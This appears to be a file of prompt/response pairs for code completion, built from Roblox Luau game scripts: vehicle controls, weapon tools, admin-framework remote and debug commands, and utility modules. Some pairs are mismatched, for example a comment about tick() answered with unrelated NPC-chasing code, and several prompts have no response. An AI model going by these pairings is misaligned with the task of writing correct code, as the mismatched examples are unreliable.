			Remote.Send(p,"FireEvent",...)
		end;

		NewPlayerEvent = function(p: Player,type: string,func: (...any) -> (...any))
			return service.Events[type..p.UserId]:Connect(func)
		end;

		StartLoop = function(p: Player,name: string,delay: number | string,funcCode: string)
			Remote.Send(p,"StartLoop",name,delay,Core.ByteCode(funcCode))
		end;

		StopLoop = function(p: Player,name: string)
			Remote.Send(p,"StopLoop",name)
		end;

		PlayAudio = function(p: Player,audioId: number,volume: number?,playbackSpeed: number?,looped: boolean?)
			Remote.Send(p,"Function","PlayAudio",audioId,volume,playbackSpeed,looped)
		end;

		StopAudio = function(p: Player,audioId: number)
			Remote.Send(p,"Function","StopAudio",audioId)
		end;

		FadeAudio = function(p: Player,audioId: number,inVol: number?,playbackSpeed: number?,looped: boolean?,incWait: number?)
			Remote.Send(p,"Function","FadeAudio",audioId,inVol,playbackSpeed,looped,incWait)
		end;

		StopAllAudio = function(p: Player)
			Remote.Send(p,"Function","KillAllLocalAudio")
		end;

		LoadCode = function(p: Player,code: string,getResult: boolean)
			if getResult then
				return Remote.Get(p,"LoadCode",Core.Bytecode(code))
			else
				Remote.Send(p,"LoadCode",Core.Bytecode(code))
			end
		end;

		Encrypt = function(str: string?, key: string?, cache: {[string]: any}?)
			cache = cache or Remote.EncodeCache or {}

			if not key or not str then
				return str
			elseif cache[key] and cache[key][str] then
				return cache[key][str]
			else
				local byte = string.byte
				local sub = string.sub
				local char = string.char

				local keyCache = cache[key] or {}
				local endStr = {}

				for i = 1, #str do
					local keyPos = (i % #key) + 1
					endStr[i] = char(((byte(sub(str, i, i)) + byte(sub(key, keyPos, keyPos)))%126) + 1)
				end

				endStr = table.concat(endStr)
				cache[key] = keyCache
				keyCache[str] = endStr
				return endStr
			end
		end;

		Decrypt = function(str: string?, key: string?, cache: {[string]: any}?)
			cache = cache or Remote.DecodeCache or {}

			if not key or not str then
				return str
			elseif cache[key] and cache[key][str] then
				return cache[key][str]
			else
				local keyCache = cache[key] or {}
				local byte = string.byte
				local sub = string.sub
				local char = string.char
				local endStr = {}

				for i = 1, #str do
					local keyPos = (i % #key)+1
					endStr[i] = char(((byte(sub(str, i, i)) - byte(sub(key, keyPos, keyPos)))%126) - 1)
				end

				endStr = table.concat(endStr)
				cache[key] = keyCache
				keyCache[str] = endStr
				return endStr
			end
		end;
	};
end


Response:
mouse.KeyDown:connect(function (key)
    key = string.lower(key)
		if key == "k" then --Camera controls
	        if cam == ("car") then
				Camera.CameraSubject = player.Character.Humanoid
				Camera.CameraType = ("Custom")
				cam = ("freeplr")
				Camera.FieldOfView = 70
			elseif cam == ("freeplr") then
				Camera.CameraSubject = player.Character.Humanoid
				Camera.CameraType = ("Attach")
				cam = ("lockplr")
				Camera.FieldOfView = 45
	        elseif cam == ("lockplr") then
				Camera.CameraSubject = carSeat
				Camera.CameraType = ("Custom")
				cam = ("car")
				Camera.FieldOfView = 70
	        end
		elseif key == "n" then --Window controls
		 if windows == false then
			winfob.Visible = true
			windows = true
		 else windows = false
			winfob.Visible = false
		 end
		elseif key == "[" then -- volume down
			if carSeat.Parent.MP.Volume.Value > 0 then
				carSeat.Parent.MP.Volume.Value = carSeat.Parent.MP.Volume.Value - 2
			end
		elseif key == "]" then -- volume up
			if carSeat.Parent.MP.Volume.Value < 20 then
				carSeat.Parent.MP.Volume.Value = carSeat.Parent.MP.Volume.Value + 2
			end
	end
end)

winfob.FL.Lock.MouseButton1Click:connect(function() --Window
 if carSeat.WindowFL.Value == false then
  carSeat.WindowFL.Value = true
  carSeat.Parent.Misc.FL.Window.SS.Motor.DesiredAngle = carSeat.Parent.Misc.FL.Window.SS.Motor.DesiredAngle - 0.20
 else carSeat.WindowFL.Value = false
  carSeat.Parent.Misc.FL.Window.SS.Motor.DesiredAngle = carSeat.Parent.Misc.FL.Window.SS.Motor.DesiredAngle + 0.20
 end
end)

winfob.FR.Lock.MouseButton1Click:connect(function() --Window
 if carSeat.WindowFR.Value == false then
  carSeat.WindowFR.Value = true
  carSeat.Parent.Misc.FR.Window.SS.Motor.DesiredAngle = carSeat.Parent.Misc.FR.Window.SS.Motor.DesiredAngle + 0.20
 else carSeat.WindowFR.Value = false
  carSeat.Parent.Misc.FR.Window.SS.Motor.DesiredAngle = carSeat.Parent.Misc.FR.Window.SS.Motor.DesiredAngle - 0.20
 end
end)

winfob.RL.Lock.MouseButton1Click:connect(function() --Window
 if carSeat.WindowRL.Value == false then
  carSeat.WindowRL.Value = true
  carSeat.Parent.Misc.RL.Window.SS.Motor.DesiredAngle = carSeat.Parent.Misc.RL.Window.SS.Motor.DesiredAngle - 0.20
 else carSeat.WindowRL.Value = false
  carSeat.Parent.Misc.RL.Window.SS.Motor.DesiredAngle = carSeat.Parent.Misc.RL.Window.SS.Motor.DesiredAngle + 0.20
 end
end)

winfob.RR.Lock.MouseButton1Click:connect(function() --Window
 if carSeat.WindowRR.Value == false then
  carSeat.WindowRR.Value = true
  carSeat.Parent.Misc.RR.Window.SS.Motor.DesiredAngle = carSeat.Parent.Misc.RR.Window.SS.Motor.DesiredAngle + 0.20
 else carSeat.WindowRR.Value = false
  carSeat.Parent.Misc.RR.Window.SS.Motor.DesiredAngle = carSeat.Parent.Misc.RR.Window.SS.Motor.DesiredAngle - 0.20
 end
end)

HUB.Limiter.MouseButton1Click:connect(function() --Ignition
 if carSeat.IsOn.Value == false then
	carSeat.IsOn.Value = true
	carSeat.Startup:Play()
	wait(1)
else
	carSeat.IsOn.Value = false
end
end)

TR.SN.MouseButton1Click:connect(function() --Show tracker names
	script.Parent.Names.Value = true
end)

TR.HN.MouseButton1Click:connect(function() --Hide tracker names
	script.Parent.Names.Value = false
end)

carSeat.Indicator.Changed:connect(function()
	if carSeat.Indicator.Value == true then
		script.Parent.Indicator:Play()
	else
		script.Parent.Indicator2:Play()
	end
end)

carSeat.LI.Changed:connect(function()
	if carSeat.LI.Value == true then
		carSeat.Parent.Body.Dash.D.G.Info.Left.Visible = true
		script.Parent.HUB.Left.Visible = true
	else
		carSeat.Parent.Body.Dash.D.G.Info.Left.Visible = false
		script.Parent.HUB.Left.Visible = false
	end
end)

carSeat.RI.Changed:connect(function()
	if carSeat.RI.Value == true then
		carSeat.Parent.Body.Dash.D.G.Info.Right.Visible = true
		script.Parent.HUB.Right.Visible = true
	else
		carSeat.Parent.Body.Dash.D.G.Info.Right.Visible = false
		script.Parent.HUB.Right.Visible = false
	end
end)

while wait() do
	carSeat.Parent.Body.Dash.D.G.Info.Time.Text = game.Lighting.TimeOfDay
	carSeat.Parent.Body.Dash.T.G.Time.Text = game.Lighting.TimeOfDay
	carSeat.Parent.Body.Dash.D.G.Info.Speed.Text = math.floor(carSeat.Velocity.magnitude*((10/12) * (60/88)))
	if game.ReplicatedStorage:FindFirstChild("WeatherResources") ~= nil then
		carSeat.Parent.Body.Dash.S.G.Temperature.Text = game.ReplicatedStorage.WeatherResources.Weather.Current.Temperature.Value
		carSeat.Parent.Body.Dash.S.G.Weather.Text = game.ReplicatedStorage.WeatherResources.Weather.Current.Weather.Value
	elseif game.ReplicatedStorage:FindFirstChild("WeatherResources") == nil then
		carSeat.Parent.Body.Dash.S.G.Temperature.Text = ":("
		carSeat.Parent.Body.Dash.S.G.Weather.Text = "TTP Plugin not found"
	end
end


Prompt:
--[[
remove any of the following parts that say
"(parts[i].className == [className])"
if you want to exclude that particular
className type from the Weld ]]

Response:
	if ((parts[i].className == "Part") or (parts[i].className == "SpawnLocation") or (parts[i].className == "Seat") or (parts[i].className == "TrussPart") or (parts[i].className == "VehicleSeat")) then
		if (prev ~= nil) then
			local weld = Instance.new("Weld")
			weld.Part0 = prev
			weld.Part1 = parts[i]
			weld.C0 = prev.CFrame:inverse()
			weld.C1 = parts[i].CFrame:inverse()
			weld.Parent = prev
			parts[i].Anchored = false
		end
		prev = parts[i]
	end
end
wait(3)


Prompt: -- / Modules / --

Response: local Spawners = require(Modules.Spawners)


Prompt:
--[=[
	Shallow merges two lists without modifying either.

	@param orig table -- Original table
	@param new table -- Result
	@return table
]=]

Response:
function Table.mergeLists(orig, new)
	local _table = {}
	for _, val in pairs(orig) do
		table.insert(_table, val)
	end
	for _, val in pairs(new) do
		table.insert(_table, val)
	end
	return _table
end


Prompt: -- Colors

Response:
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor	= Color3.new(1, 0, 0)
local NeutralReticleColor	= Color3.new(1, 1, 1)

local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, 'Handle')
local WeaponGui = nil

local Reloading = false
local IsShooting = false


Prompt:
--[[
	Returns the current value of this ForKeys object.
	The object will be registered as a dependency unless `asDependency` is false.
]]

Response:
function class:get(asDependency: boolean?): any
	if asDependency ~= false then
		Dependencies.useDependency(self)
	end
	return self._outputTable
end


Prompt:
----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does

Response: local Damage = 10


Prompt: --You can put this anywhere, Workspace, ServerScriptService, Lighting, whatever. It'll work anywhere where server scripts can run.

Response:
local Players = game:GetService("Players")

local GUI = script["HealthScript v3.1"]:Clone()
GUI.Parent = game.StarterGui

function onCharacterAdded(character)
	script.Health:Clone().Parent = character
end

Players.PlayerAdded:Connect(function(player)
	player.CharacterAdded:Connect(onCharacterAdded)
end)


Prompt: -- Variables

Response:
local plr = game.Players.LocalPlayer
local char = plr.Character

local mFrame = script.Parent
local button_equip = mFrame.equip
local value_item = mFrame.ItemName


Prompt:
--		if car.DriveSeat.CC.Value then
--			script.Parent.Values.CCS.Value = car.DriveSeat.CCS.Value
--		end
--	end)

Response:
	script.Parent.Values.Brake.Changed:Connect(function()
		if math.ceil(_GBrake) == 1 then
			car.DriveSeat.FE_Lights:FireServer('updateLights', 'brake', true)
		else
			car.DriveSeat.FE_Lights:FireServer('updateLights', 'brake', false)
		end
	end)

	--15 c/s
	while wait(.0667) do
		--Automatic Transmission
		if _TMode == "Auto" then Auto() end

		--Flip
		if _Tune.AutoFlip then Flip() end
	end


Prompt: --Turbocharger

Response:
local BOV_Loudness = 0	--volume of the BOV (not exact volume so you kinda have to experiment with it)
local BOV_Pitch = 1.4	--max pitch of the BOV (not exact so might have to mess with it)
local T_Loudness = 3 --volume of the turbo(s) (not exact volume so you kinda have to experiment with it also)


Prompt:
--[[**
	Adds an `Object` to Janitor for later cleanup, where `MethodName` is the key of the method within `Object` which should be called at cleanup time. If the `MethodName` is `true` the `Object` itself will be called instead. If passed an index it will occupy a namespace which can be `Remove()`d or overwritten. Returns the `Object`.
	@param [t:any] Object The object you want to clean up.
	@param [t:string|true?] MethodName The name of the method that will be used to clean up. If not passed, it will first check if the object's type exists in TypeDefaults, and if that doesn't exist, it assumes `Destroy`.
	@param [t:any?] Index The index that can be used to clean up the object manually.
	@returns [t:any] The object that was passed.
**--]]

Response:
function Janitor.__index:Add(Object, MethodName, Index)
	if Index == nil then
		Index = newproxy(false)
	end

	if Index then
		self:Remove(Index)

		local This = self[IndicesReference]
		if not This then
			This = {}
			self[IndicesReference] = This
		end

		This[Index] = Object
	end
	--[[
	if Promise.is(Object) then
		local Id = newproxy(false)
		if Object:getStatus() == Promise.Status.Started then
			local NewPromise = self:Add(Promise.resolve(Object), "cancel", Id)
			NewPromise:finallyCall(self.Remove, self, Id)
			return NewPromise, Id
		else
			return Object
		end
	end--]]

	MethodName = MethodName or TypeDefaults[typeof(Object)] or "Destroy"
	if type(Object) ~= "function" and not Object[MethodName] then
		warn(string.format(METHOD_NOT_FOUND_ERROR, tostring(Object), tostring(MethodName), debug.traceback(nil, 2)))
	end

	self[Object] = MethodName
	return Object, Index
end

Janitor.__index.Give = Janitor.__index.Add


Prompt: -- Runs when player dies or leaves. If no player is left, end round

Response:
local function checkPlayerCount()
	if #PlayerManager.ActivePlayers == 0 then
		RaceManager.OnRaceFinishedEvent:Fire()
	end
end

local function addActivePlayer(player, speeder)
	if speeder then
		PlayerManager.Selections[player] = speeder
	end

	for playerKey, whichPlayer in pairs(PlayerManager.ActivePlayers) do
		if whichPlayer == player then
			-- Player is already in table
			return
		end
	end
	table.insert(PlayerManager.ActivePlayers, player)
	CheckpointEvent:FireClient(player, {{"setActive", true}})

	if #PlayerManager.ActivePlayers >= GameSettings.minimumPlayers then
		onMiminumActivePlayersEvent:Fire()
	end
end

local function removeActivePlayer(player)
	CheckpointEvent:FireClient(player, {{"setActive", false}})

	for playerKey, whichPlayer in pairs(PlayerManager.ActivePlayers) do
		if whichPlayer == player then
			table.remove(PlayerManager.ActivePlayers, playerKey)
			checkPlayerCount()
			return
		end
	end
end


Prompt:
-- tick() returns the number of seconds since January 1st, 1970
-- Because this is a LocalScript, it will return the time based on your timezone


Response:
function getHumanoid(model)
	for _, v in pairs(model:GetChildren()) do
		if v:IsA'Humanoid' then
			return v
		end
	end
end

local ai = script.Parent
local human = getHumanoid(ai)
local hroot = ai.HumanoidRootPart
local zspeed = hroot.Velocity.magnitude

local pfs = game:GetService("PathfindingService")

function GetPlayerNames()
	local players = game:GetService('Players'):GetChildren()
	local name = nil
	for _, v in pairs(players) do
		if v:IsA'Player' then
			name = tostring(v.Name)
		end
	end
	return name
end

spawn(function()
	while wait() do
		print("THIS BALDI MODEL WAS MADE BY ANPHU04, DO NOT TRUST ANYBODY THAT USES THIS!")
	end
end)

function GetPlayersBodyParts(t)
	local torso = t
	if torso then
		local figure = torso.Parent
		for _, v in pairs(figure:GetChildren()) do
			if v:IsA'Part' then
				return v.Name
			end
		end
	else
		return "HumanoidRootPart"
	end
end

function GetTorso(part)
	local chars = game.Workspace:GetChildren()
	local torso = nil
	for _, v in pairs(chars) do
		if v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then
			local charRoot = v:FindFirstChild'HumanoidRootPart'
			if (charRoot.Position - part).magnitude < SearchDistance then
				torso = charRoot
			end
		end
	end
	return torso
end

for _, zambieparts in pairs(ai:GetChildren()) do
	if zambieparts:IsA'Part' then
		zambieparts.Touched:connect(function(p)
			if p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= ai.Name then -- damage
				local enemy = p.Parent
				local enemyhuman = getHumanoid(enemy)
				enemyhuman:TakeDamage(aiDamage)
			end
		end)
	end
end


Prompt: -- Variables (best not to touch these!)

Response:
local button = script.Parent
local car = script.Parent.Parent.Car.Value
local sound = script.Parent.Start
sound.Parent = car.DriveSeat -- What brick the start sound is playing from.
button.MouseButton1Click:connect(function() -- Event when the button is clicked
	if script.Parent.Text == "Engine: Off" then -- If the text says it's off then..
		sound:Play() -- Startup sound plays..
		wait(2) -- For realism. Okay?
		script.Parent.Parent.IsOn.Value = true -- The car is is on, or in other words, start up the car.
		button.Text = "Engine: On"  -- You don't really need this, but I would keep it.
	else -- If it's on then when you click the button,
		script.Parent.Parent.IsOn.Value = false -- The car is turned off.
		button.Text = "Engine: Off"
	end -- Don't touch this.
end) -- And don't touch this either.


Prompt: -- main program

Response:
local runService = game:service("RunService");

while Figure.Parent~=nil do
	local _, time = wait(0.1)
	move(time)
end


Prompt: -- Main

Response:
return function(weightTable: { [string]: number }): string
	local total: number = 0
	for _, chance: number in pairs(weightTable) do
		total += chance
	end

	local pickedNumber: number = rand:NextInteger(1, total)

	local pickTotal: number = 0
	for name: string, chance: number in pairs(weightTable) do
		pickTotal += chance

		if pickTotal > pickedNumber then
			return name
		end
	end

	error("Something went wrong :(")
end


Prompt:
--[=[
	Clones a brio, such that it may be killed without affecting the original
	brio.

	@since 3.6.0
	@param brio Brio<T>
	@param ... U
	@return Brio<U>
]=]

Response:
function BrioUtils.withOtherValues(brio, ...)
	assert(brio, "Bad brio")

	if brio:IsDead() then
		return Brio.DEAD
	end

	local newBrio = Brio.new(...)

	newBrio:ToMaid():GiveTask(brio:GetDiedSignal():Connect(function()
		newBrio:Kill()
	end))

	return newBrio
end


Prompt:
--[=[
	@within ClientComm
	@type ClientMiddlewareFn (args: {any}) -> (shouldContinue: boolean, ...: any)
	The middleware function takes the arguments (as a table array), and should
	return `true|false` to indicate if the process should continue.

	If returning `false`, the optional varargs after the `false` are used as the new return values
	to whatever was calling the middleware.
]=]
--[=[
	@within ClientComm
	@type ClientMiddleware {ClientMiddlewareFn}
	Array of middleware functions.
]=]


Prompt:
--s.Pitch = 0.7
--[[for x = 1, 50 do
s.Pitch = s.Pitch + 0.20 1.900
s:play()
wait(0.001)
end]]
--[[Chopper level 5=1.2, Chopper level 4=1.04]]

Response:
while s.Pitch<1 do
s.Pitch=s.Pitch+0.01315
s:Play()
if s.Pitch>1 then
	s.Pitch=1
end
wait(-9)
end

while true do
for x = 1, 500 do
s:play()
wait(-9)
end
end


Prompt: -- General settings

Response:
local COOLDOWN = 1
local THROW_SPEED = 100

local tool = script.Parent

local anim
local toolPlr
local debounce = false

script.ClientThrow.OnServerEvent:connect(function(plr)

	-- Check if tool is equipped and correct player
	if not debounce and tool.Parent ~= nil and tool.Parent.ClassName ~= "Backpack" and plr == toolPlr then
		debounce = true

		-- Play animation
		anim:Play()

	end

end)

tool.Equipped:connect(function()

	-- Set tool player
	toolPlr = game.Players:GetPlayerFromCharacter(tool.Parent)

	-- Load animation
	anim = tool.Parent.Humanoid:LoadAnimation(script.Animation)
	anim.KeyframeReached:connect(function(keyframe)

		-- Check what frame
		if keyframe == "Throw" then

			-- Create snowball
			game.ReplicatedStorage.Interactions.Client.CreateSnowball:FireAllClients(toolPlr.Character, tool.Handle, (script.GetMouseHit:InvokeClient(toolPlr) - script.Parent.Handle.Position).Unit * THROW_SPEED)

			-- Play sound
			tool.Handle.Sound:Play()

		end

	end)
	anim.Stopped:connect(function()
		debounce = false
	end)

	-- Reset just in case
	debounce = false

end)

tool.Unequipped:connect(function()

	-- Stop animation
	anim:Stop()
	anim:destroy()

end)


Response:
local RS = game:GetService("RunService")
local Character = script.Parent
local Humanoid = Character:WaitForChild("Humanoid")
local Root = Character:WaitForChild("HumanoidRootPart")
local Swim

RS.Heartbeat:Connect(function()
	if Root.Position.Y < Sea.Position.Y - Root.Size.Y / 2 then
		if not Swim then
			Swim = Instance.new("BodyVelocity")
			Swim.Parent = Root
		end
		Swim.Velocity = Humanoid.MoveDirection * Humanoid.WalkSpeed + Vector3.new(0,4,0)
		if Humanoid:GetState() ~= Enum.HumanoidStateType.Swimming then
			Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp, false)
			Humanoid:ChangeState(Enum.HumanoidStateType.Swimming)
		end
	elseif Swim and Root.Position.Y < Sea.Position.Y then
		Swim.Velocity = Humanoid.MoveDirection * Humanoid.WalkSpeed
	elseif Swim then
		Swim:Destroy()
		Swim = nil
		Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp, true)
	end
end)


Prompt: -- CAMERA --

Response:
repeat wait() until Player.Character

Camera.CameraType = "Scriptable"
Camera.CFrame = game.Workspace.CameraPart.CFrame


Prompt: -- Returns all objects under instance with Transparency

Response:
local function GetTransparentsRecursive(instance, partsTable)
	local partsTable = partsTable or {}
	for _, child in pairs(instance:GetChildren()) do
		if child:IsA('BasePart') or child:IsA('Decal') then
			table.insert(partsTable, child)
		end
		GetTransparentsRecursive(child, partsTable)
	end
	return partsTable
end

local function SelectionBoxify(instance)
	local selectionBox = Instance.new('SelectionBox')
	selectionBox.Adornee = instance
	selectionBox.Color = BrickColor.new('Toothpaste')
	selectionBox.Parent = instance
	return selectionBox
end

local function Light(instance)
	local light = PointLight:Clone()
	light.Range = light.Range + 2
	light.Parent = instance
end

local function FadeOutObjects(objectsWithTransparency, fadeIncrement)
	repeat
		local lastObject = nil
		for _, object in pairs(objectsWithTransparency) do
			object.Transparency = object.Transparency + fadeIncrement
			lastObject = object
		end
		wait()
	until lastObject.Transparency >= 1 or not lastObject
end

local function Dematerialize(character, humanoid, firstPart)
	local debounceTag = Instance.new('Configuration')
	debounceTag.Name = DEBOUNCE_TAG_NAME
	debounceTag.Parent = character

	humanoid.WalkSpeed = 0

	local parts = {}
	for _, child in pairs(character:GetChildren()) do
		if child:IsA('BasePart') then
			child.Anchored = true
			table.insert(parts, child)
		elseif child:IsA('LocalScript') or child:IsA('Script') then
			child:Destroy()
		end
	end

	local selectionBoxes = {}

	local firstSelectionBox = SelectionBoxify(firstPart)
	Light(firstPart)
	wait(0.05)

	for _, part in pairs(parts) do
		if part ~= firstPart then
			table.insert(selectionBoxes, SelectionBoxify(part))
			Light(part)
		end
	end

	local objectsWithTransparency = GetTransparentsRecursive(character)
	FadeOutObjects(objectsWithTransparency, 0.1)

	wait(0.5)

	humanoid.Health = 0
	DebrisService:AddItem(character, 2)

	local fadeIncrement = 0.05
	Delay(0.2, function()
		FadeOutObjects({firstSelectionBox}, fadeIncrement)
		if character then
			character:Destroy()
		end
	end)
	FadeOutObjects(selectionBoxes, fadeIncrement)
end

local function OnTouched(shot, otherPart)
	local character, humanoid = FindCharacterAncestor(otherPart)
	if character and humanoid and character ~= Character and not character:FindFirstChild(DEBOUNCE_TAG_NAME) and not character:FindFirstChild'ForceField' then
		local isTeammate = GLib.IsTeammate(GLib.GetPlayerFromPart(Tool), GLib.GetPlayerFromPart(Character))

		if not isTeammate then
			ApplyTags(humanoid)
			if shot then
				local hitFadeSound = shot:FindFirstChild(HitFadeSound.Name)
				if hitFadeSound then
					hitFadeSound.Parent = humanoid.Torso
					hitFadeSound:Play()
				end
				shot:Destroy()
			end
			Dematerialize(character, humanoid, otherPart)
		end
	end
end

local function OnEquipped()
	Character = Tool.Parent
	Humanoid = Character:WaitForChild('Humanoid')
	Player = PlayersService:GetPlayerFromCharacter(Character)
end

local function OnActivated(hit)
	if Tool.Enabled and Humanoid.Health > 0 then
		Tool.Enabled = false

		for i = 1, 3 do
			FireSound:Play()

			local handleCFrame = Handle.CFrame
			local firingPoint = handleCFrame.p + handleCFrame:vectorToWorldSpace(NOZZLE_OFFSET)
			local shotCFrame = CFrame.new(firingPoint, hit)

			local laserShotClone = BaseShot:Clone()
			laserShotClone.CFrame = shotCFrame + (shotCFrame.lookVector * (BaseShot.Size.Z / 2))
			local bodyVelocity = Instance.new('BodyVelocity')
			bodyVelocity.velocity = shotCFrame.lookVector * SHOT_SPEED
			bodyVelocity.Parent = laserShotClone
			laserShotClone.Touched:connect(function(otherPart)
				OnTouched(laserShotClone, otherPart)
			end)
			DebrisService:AddItem(laserShotClone, SHOT_TIME)
			laserShotClone.Parent = workspace

			wait(0.15)
		end
		wait(0.6) -- FireSound length

		ReloadSound:Play()
		wait(0.75) -- ReloadSound length

		Tool.Enabled = true
	end
end

local function OnUnequipped()

end


Prompt: --Removes characterDied at a reasonable rate to reduce from characterDiedMax to continue operation


Prompt: --------------------[ EXTERNAL DATA LOCATING FUNCTIONS ]-----------------------------

Response:
function FindFirstClass(Object, Class)
	local FoundObject = nil
	for _, Obj in pairs(Object:GetChildren()) do
		if Obj.ClassName == Class then
			FoundObject = Obj
			break
		end
	end
	return FoundObject
end

function IsIgnored(Obj)
	for _,v in pairs(Ignore) do
		if Obj == v or Obj:IsDescendantOf(v) then
			return true
		end
	end
	return false
end

function GetHitSurfaceCFrame(HitPos,Obj)
	local SurfaceCF = {
		{"Back",Obj.CFrame * CF(0,0,Obj.Size.z)};
		{"Bottom",Obj.CFrame * CF(0,-Obj.Size.y,0)};
		{"Front",Obj.CFrame * CF(0,0,-Obj.Size.z)};
		{"Left",Obj.CFrame * CF(-Obj.Size.x,0,0)};
		{"Right",Obj.CFrame * CF(Obj.Size.x,0,0)};
		{"Top",Obj.CFrame * CF(0,Obj.Size.y,0)}
	}
	local ClosestDist = HUGE
	local ClosestSurface = nil
	for _,v in pairs(SurfaceCF) do
		local SurfaceDist = (HitPos - v[2].p).magnitude
		if SurfaceDist < ClosestDist then
			ClosestDist = SurfaceDist
			ClosestSurface = v
		end
	end
	return ClosestSurface[2]
end

function AdvRayCast(Origin, Direction, Dist, CustomIgnore)
	local NewIgnore = (CustomIgnore and CustomIgnore or Ignore)
	local NewRay = Ray.new(Origin, Direction * (Dist > 999 and 999 or Dist))
	local HitObj, HitPos = game.Workspace:FindPartOnRayWithIgnoreList(NewRay, NewIgnore)
	local LastPos = HitPos
	local FinalHitObj, FinalHitPos = nil, nil
	local RepTimes = math.floor(Dist / 999)
	if (not HitObj) and (Dist > 999) then
		for i = 0, RepTimes do
			local NewDist = (i == RepTimes and  (Dist - (LastPos - Origin).magnitude) or 999)
			local Ray2 = Ray.new(LastPos, Direction * NewDist)
			local HitObj2, HitPos2 = game.Workspace:FindPartOnRayWithIgnoreList(Ray2, NewIgnore)
			if i ~= RepTimes then
				if HitObj2 then
					FinalHitObj, FinalHitPos = HitObj2, HitPos2
					break
				end
			elseif i == RepTimes then
				FinalHitObj, FinalHitPos = HitObj2, HitPos2
			end
			LastPos = HitPos2
		end
		return FinalHitObj, FinalHitPos
	elseif HitObj or (Dist <= 999) then
		return HitObj, HitPos
	end
end


Prompt:
--// This module is for stuff specific to debugging
--// NOTE: THIS IS NOT A *CONFIG/USER* PLUGIN! ANYTHING IN THE MAINMODULE PLUGIN FOLDERS IS ALREADY PART OF/LOADED BY THE SCRIPT! DO NOT ADD THEM TO YOUR CONFIG>PLUGINS FOLDER!

Response:
return function(Vargs)
	local server = Vargs.Server;
	local service = Vargs.Service;

	local Core = server.Core;
	local Settings = server.Settings;
	local Functions = server.Functions;
	local Commands = server.Commands;
	local Remote = server.Remote;

	Commands.TestError = {
		Hidden = true;
		Prefix = ":";
		Commands = {"debugtesterror"};
		Args = {"type","msg"};
		Description = "Test Error";
		NoFilter = true;
		AdminLevel = "Creators";
		Function = function(plr,args)
			--assert(args[1] and args[2],"Argument missing or nil")
			Remote.Send(plr, "TestError")
			Routine(function() plr.Bobobobobobobo.Hi = 1 end)
			if not args[1] then
				error("This is an intentional test error")
			elseif args[1]:lower() == "error" then
				error(args[2])
			elseif args[1]:lower() == "assert" then
				assert(false,args[2])
			end
		end;
	};

	Commands.TestBigList = {
		Hidden = true;
		Prefix = ":";
		Commands = {"debugtestbiglist"};
		Args = {};
		Description = "Test Big List";
		AdminLevel = "Creators";
		Function = function(plr,args)
			local list = {}

			for i = 1, 5000 do
				table.insert(list, {Text = i});
			end

			Remote.MakeGui(plr,"List",{
				Title = "DebugBigList_PageSize250",
				Table = list,
				Font = "Code",
				PageSize = 250;
				Size = {500, 400},
			})

			Remote.MakeGui(plr,"List",{
				Title = "DebugBigList_PageSize100",
				Table = list,
				Font = "Code",
				PageSize = 100;
				Size = {500, 400},
			})

			Remote.MakeGui(plr,"List",{
				Title = "DebugBigList_PageSize25",
				Table = list,
				Font = "Code",
				PageSize = 25;
				Size = {500, 400},
			})
		end;
	};

	Commands.TestGet = {
		Prefix = ":";
		Commands = {"debugtestget"};
		Args = {};
		Description = "Test Error";
		Hidden = true;
		AdminLevel = "Creators";
		Function = function(plr,args)
			local tack = tick()
			print(tack)
			print(Remote.Get(plr,"Test"))
			local tab = {
				{
					Children = {
						{Class = "sdfhasdfjkasjdf"}
				};
					{{Something = "hi"}};
				}
			}
			local m, ret = Remote.Get(plr, "Test", tab)
			if ret then
				print(ret)
				for i,v in next, ret do
					print(i,v)
					for i,v in next,v do
						print(i,v)
						for i,v in next,v do
							print(i,v)
							for i,v in next,v do
								print(i,v)
							end
						end
					end
				end
			end
			print(tick()-tack)
			print("TESTING EVENT")
			Remote.MakeGui(plr,"Settings",{
				IsOwner = true
			})
			local testColor = Remote.GetGui(plr,"ColorPicker",{Color = Color3.new(1,1,1)})
			print(testColor)
			local ans,event = Remote.GetGui(plr,"YesNoPrompt",{
				Question = "Is this a test question?";
			}), Remote.NewPlayerEvent(plr,"TestEvent",function(...)
				print("EVENT WAS FIRED; WE GOT:")
				print(...)
				print("THAT'D BE ALL")
			end)
			print("PLAYER ANSWER: "..tostring(ans))
			wait(0.5)
			print("SENDING REMOTE EVENT TEST")
			Remote.Send(plr,"TestEvent","TestEvent","hi mom I went thru the interwebs")
			print("SENT")
		end;
	};

	Commands.DebugLoadstring = {
		Prefix = ":";
		Commands = {"debugloadstring";};
		Args = {"code";};
		Description = "DEBUG LOADSTRING";
		Hidden = true;
		NoFilter = true;
		Fun = false;
		AdminLevel = "Creators";
		Function = function(plr,args)
			--error("Disabled", 0)
			local func,err = Core.Loadstring(args[1],GetEnv())
			if func then
				func()
			else
				logError("DEBUG",err)
				Functions.Hint(err,{plr})
			end
		end
	};
end;


Prompt: --weld

Response:
module.weld = function(data)
	local part = data.part
	local base = data.basepart
	local tim = data.tim or nil
	local name = data.name or "Weld"
	part.Anchored = false
	--base.Anchored = false

	local Weld = Instance.new("Weld")
	Weld.Name = name
	Weld.Part0 = base
	Weld.C0 = base.CFrame:inverse()
	Weld.Part1 = part
	Weld.C1 = part.CFrame:inverse()
	Weld.Parent = Weld.Part1

	if tim then
		game.Debris:AddItem(Weld, tim)
	end

end

module.HitDetection = function(Data)
	local part = Data.part
	local model = part.Parent
	local size = Data.size or Vector3.new(5,5,5)
	local Shape = Data.Shape or "Square"
	local cf = Data.cf or part.CFrame
	local tim = Data.tim or .5
	local weld = Data.weld

	local tab = {}
	local db = false
	local Victum
	local Vhum, Vroot

	local SpawnedHitBox = module.SpawnHB({part = part, cf =cf, size = size, tim = tim, Shape = Shape})
	tab.SpawnedHitBox = SpawnedHitBox or nil

	if weld then module.weld({part = SpawnedHitBox, basepart = part}) end

	-- HB
	local zone = Zone.new(SpawnedHitBox)
	zone:setAccuracy("High")
	zone:setDetection("WholeBody")
	--print(zone)

	task.delay(tim, function()
		db = false
		zone:destroy()
	end)

	for i, v in pairs(zone:getParts()) do
		if v and v:IsA("BasePart") then
			if v and v.Parent and v.Parent ~= model then
